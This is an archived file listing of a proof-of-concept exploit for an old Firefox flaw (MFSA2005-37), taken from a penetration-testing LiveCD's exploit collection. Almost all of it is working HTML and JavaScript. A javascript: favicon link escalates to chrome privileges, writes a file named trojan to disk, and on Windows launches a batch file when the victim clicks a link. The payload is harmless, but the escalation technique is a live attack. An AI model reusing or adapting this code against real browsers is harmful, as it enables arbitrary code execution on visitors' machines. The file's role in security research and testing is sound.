home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / firefox / MFSA200537.c < prev    next >
Text File  |  2005-05-06  |  3KB  |  79 lines

  1. // FrSIRT Comment : If a user clicks on a link, this code will create and
  2. // launch the file c:\trojan.bat (on Windows).
  3. // On Linux and Mac OS X this code will create the file ~/trojan or /trojan
  4.  
  5. <html>
  6. <head>
  7. <link rel="SHORTCUT ICON" href="favicon.ico"> 
  8. <script language="JavaScript" type="text/javascript">
  9. var pf = navigator.platform.toLowerCase();
  10. if (pf.indexOf("win") != -1) {
  11. var os = "win";
  12. } else if (pf.indexOf("mac") != -1) {
  13. var os = "mac";
  14. } else {
  15. var os = "linux"
  16. }
  17. function runDemo() {
  18. // this is an ugly caching workaround
  19. document.getElementById('outhtml').innerHTML = "";
  20. document.getElementById('outhtml').innerHTML += 
  21. document.getElementById('clearhtml').value
  22. document.getElementById('outhtml').innerHTML += 
  23. document.getElementById('clearhtml').value
  24. document.getElementById('outhtml').innerHTML += 
  25. document.getElementById('clearhtml').value
  26. window.setTimeout("document.getElementById('outhtml').innerHTML += 
  27. document.getElementById('linkhtml_"+os+"').value",300);
  28. </script>
  29. </head>
  30. <body>
  31.  
  32. <div id="outhtml" style="display:none"></div>
  33.  
  34. <textarea id="clearhtml" style="display:none">
  35. <link rel="SHORTCUT ICON" href="favicon.ico">
  36. </textarea>
  37.  
  38. <textarea id="linkhtml_win" style="display:none">
  39. <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow
  40. ('javascript:netscape.security.PrivilegeManager.enablePrivilege
  41. (\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\']
  42. .createInstance(Components.interfaces.nsILocalFile);
  43. file.initWithPath(\'c:\\\\trojan.bat\');file.createUnique(Components.interfaces.nsIFile
  44. .NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/
  45. network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFile
  46. OutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO 
  47. OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END\';outputStream.write(output,
  48. output.length);outputStream.close();file.launch();','','')">
  49. </textarea>
  50.  
  51. <textarea id="linkhtml_mac" style="display:none">
  52. <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:
  53. netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
  54. file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components
  55. .interfaces.nsILocalFile);file.initWithPath(\'/trojan\');file.createUnique(Components
  56. .interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes
  57. [\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces
  58. .nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);
  59. output=\'trojan!\';outputStream.write(output,output.length);outputStream.close();','','')">
  60. </textarea>
  61.  
  62. <textarea id="linkhtml_linux" style="display:none">
  63. <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape
  64. .security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components
  65. .classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
  66. file.initWithPath(\'~/trojan\');file.createUnique(Components.interfaces.nsIFile
  67. .NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
  68. file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
  69. outputStream.init(file,0x04|0x08|0x20,420,0);output=\'trojan!\';outputStream.
  70. write(output,output.length);outputStream.close();','','')">
  71. </textarea><br>
  72. <a href="#" onclick="runDemo();runDemo();">Click HERE</a>
  73. </div>
  74. </body>
  75. </html>
  76.  
  77. Integration
  78.